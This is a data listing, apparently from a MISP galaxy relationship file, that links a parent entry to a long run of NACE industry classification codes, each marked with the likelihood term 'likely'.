- parent-of: misp-galaxy:NACE="2823" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2824" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2825" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2829" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2830" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2841" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2842" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2891" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="2892" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2893" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2894" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2895" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2896" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2897" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2899" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2931" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="2932" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3011" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3012" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3013" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3031" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3032" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3040" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3091" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3092" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3099" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3100" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3250" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3314" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="3315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3317" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3318" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3515" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3523" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3524" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3530" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3540" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3600" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3700" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3822" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3823" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3832" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3833" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="3900" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4100" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4222" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="4291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4342" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4350" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4360" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4615" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4616" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4617" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4618" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4619" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4631" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4632" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="4633" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4634" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4635" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4636" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4637" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4638" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4639" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4641" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4642" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4643" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4644" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4645" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4646" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4647" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4648" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4649" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4650" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4661" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4662" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4663" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4664" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4671" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4672" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4673" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4681" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4682" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4683" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4684" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4685" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4686" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4687" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4689" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4690" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4712" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="4721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4723" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4724" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4725" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4726" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4727" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4730" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4740" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4751" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4752" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4753" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4754" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4755" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4761" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4762" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4763" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4764" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4769" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4771" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4772" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4773" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4774" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4775" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4776" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4777" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4778" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4779" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4781" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4782" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4783" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4792" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4912" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="4920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4931" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4932" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4933" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4934" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4939" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4942" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="4950" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5010" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5030" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5040" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5224" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5225" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5226" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5530" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5540" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5590" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5612" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="5621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5640" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5819" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5829" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5913" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5914" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="5920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6010" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6031" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6039" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6190" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6290" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6419" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6432" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6491" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="6492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6530" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6619" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6629" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6832" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="6920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7010" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7414" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="7420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7500" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7731" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7732" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7733" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7734" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7735" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7739" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7740" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7751" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7752" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7820" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7912" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8001" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8009" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8123" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8240" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8291" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="8292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8425" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8520" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8533" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8540" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8552" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8553" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8559" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8569" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8692" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8693" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8694" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8695" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8696" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8697" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8699" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="8710" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8720" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8730" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8791" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8799" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8891" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="8899" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9011" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9012" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9013" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9020" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9031" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9039" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="9121" with estimative-language:likelihood-probability="likely"
